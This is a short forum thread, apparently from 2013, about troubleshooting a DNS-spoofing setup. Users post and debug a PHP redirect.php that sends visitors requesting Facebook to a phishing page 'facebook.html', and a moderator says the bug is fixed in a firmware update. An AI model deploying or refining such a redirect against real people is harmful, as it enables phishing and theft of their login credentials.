deviney Posted February 7, 2013 Share Posted February 7, 2013 I recently updated to 2.7.5 and did the whole setup for dnsspoof but the redirect.php does not work correctly because it does not search the header for words like 'facebook' and then it send them to the phishing page 'facebook.html'. Instead it just goes to the default 'error.php' is there a fix for this? Link to comment Share on other sites More sharing options...
Sebkinne Posted February 7, 2013 Share Posted February 7, 2013 Please post the content of your redirect.php page. Link to comment Share on other sites More sharing options...
Shark3y Posted February 10, 2013 Share Posted February 10, 2013 <?php $ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (strpos($ref, "facebook")){ header('Location: facebook.html'); } require('error.php');?> I have the same issue. Even though I think this makes sense, I don't know the subtleties of php. Link to comment Share on other sites More sharing options...
Sebkinne Posted February 10, 2013 Share Posted February 10, 2013 The issue isn't DNSSpoof but rather php's header function. That is somehow broken. Link to comment Share on other sites More sharing options...
Sebkinne Posted February 12, 2013 Share Posted February 12, 2013 Fixed in 2.7.7 Link to comment Share on other sites More sharing options...
Recommended Posts